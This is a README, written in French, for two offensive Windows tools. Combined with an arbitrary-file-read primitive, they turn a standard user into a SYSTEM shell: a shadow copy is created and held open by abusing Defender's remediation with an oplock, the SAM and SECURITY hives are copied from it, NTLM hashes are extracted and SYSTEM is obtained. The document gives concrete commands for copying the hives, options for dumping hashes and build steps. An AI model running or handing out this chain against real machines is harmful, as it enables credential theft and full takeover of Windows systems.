
test
Deux petits outils qui transforment un bogue de lecture arbitraire de fichier sur Windows en un shell SYSTEM.
vss_freeze/ — crée une copie fantôme de volume en tant qu'utilisateur standard, puis la maintient ouverte afin que vous ayez le temps de lire les ruches SAM/SECURITY/SYSTEM à l'intérieurfr2system/ — prend les ruches que vous avez copiées, déchiffre les hash NTLM locaux hors ligne et ouvre un shell SYSTEMEnsemble, avec n'importe quelle primitive de lecture arbitraire de fichier qui s'exécute en tant que SYSTEM (ou tout ce qui peut lire dans \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\...), ceci constitue une chaîne complète utilisateur standard → SYSTEM sur une machine Win10/Win11 par défaut.
Ceci a été extrait de BlueHammer — la recherche sur les abus de Win Defender où nous avons découvert que déposer un fichier EICAR sous un chemin surveillé fait que Defender crée une copie fantôme de volume dans le cadre de son flux de correction. Nous avons maintenu un verrou par lots (batch oplock) sur RstrtMgr.dll au niveau du chemin de chargement de Defender pour que Defender reste bloqué au début de la correction, ce qui maintient la VSS active aussi longtemps que nécessaire.
À l'origine, il y avait en plus un gel cldflt de l'étape 2, mais cldflt rejette les fournisseurs de synchronisation non-OneDrive sur Win11 24H2 (CfRegisterSyncRoot renvoie 0x80070057). Il s'est avéré que le simple maintien du verrou de l'étape 1 ouvert était suffisant — Defender reste en pause, la VSS reste active, aucune API Cloud Files n'est utilisée.
[ vss_simple_freeze.exe ] → [ votre PoC de lecture arbitraire ] → [ fr2system.exe ]
crée la VSS en tant que lit SAM/SECURITY casse NTLM, ouvre
utilisateur standard depuis le chemin VSS un shell SYSTEM
la maintient via un verrou
vss_simple_freeze.exe --hold 120 en tant qu'utilisateur normal. Il affiche le chemin VSS, par exemple \Device\HarddiskVolumeShadowCopy7.\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\Config\SAM\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\Config\SECURITYC:\Windows\Temp\fileread\SAM et C:\Windows\Temp\fileread\SECURITY.fr2system.exe. Shell SYSTEM.Si vous voulez simplement vérifier que la chaîne fonctionne de bout en bout sur votre machine, simulez l'étape de lecture arbitraire avec un cmd administrateur :
:: Fenêtre 1 - utilisateur standard
vss_simple_freeze.exe --hold 300
:: Fenêtre 2 - cmd administrateur (simulation de la primitive de lecture arbitraire)
mkdir C:\Windows\Temp\fileread
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\System32\Config\SAM" C:\Windows\Temp\fileread\SAM
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\System32\Config\SECURITY" C:\Windows\Temp\fileread\SECURITY
:: Fenêtre 3 - utilisateur standard à nouveau
fr2system.exe
(Remplacez 7 par le numéro que vss_simple_freeze a affiché.)
vss_simple_freeze.exe [options]
--hold N Libération automatique après N secondes (défaut : attente de Entrée)
--auto Non interactif, maintien jusqu'à 600s
--publish FILE Écrire le chemin VSS dans FILE (défaut : %TEMP%\vss_current.txt)
--no-publish Ne pas écrire le chemin VSS
--event NAME Libérer lorsque l'événement nommé Local\NAME est signalé
--quiet Supprimer les sorties de vivacité par seconde
--help Afficher l'aide
Exemples :
vss_simple_freeze.exe # interactif, Entrée pour libérer
vss_simple_freeze.exe --hold 120 # libération automatique après 2 min
vss_simple_freeze.exe --event lpe_done --hold 300 # libération sur signal ou 5 min
fr2system.exe [options]
(aucune) Par défaut - lire SAM/SECURITY depuis C:\Windows\Temp\fileread, escalader vers SYSTEM
--dump Uniquement afficher les hash NTLM, ne pas escalader
--scan Rechercher des sources d'identifiants alternatives
--path DIR Utiliser un répertoire d'entrée différent
--help Afficher l'aide
Exemples :
fr2system.exe
fr2system.exe --dump
fr2system.exe --path C:\lab\hives
fr2system.exe attend au moins SAM dans le répertoire d'entrée. SECURITY est optionnel (utilisé pour les secrets LSA / clés DPAPI).
Les deux projets utilisent MSVC (CRT statique, x64).
cd vss_freeze
build_vss_simple_freeze.bat
cd fr2system
msbuild fr2system.sln /p:Configuration=Release /p:Platform=x64
Création de la VSS :

fr2system → shell SYSTEM :
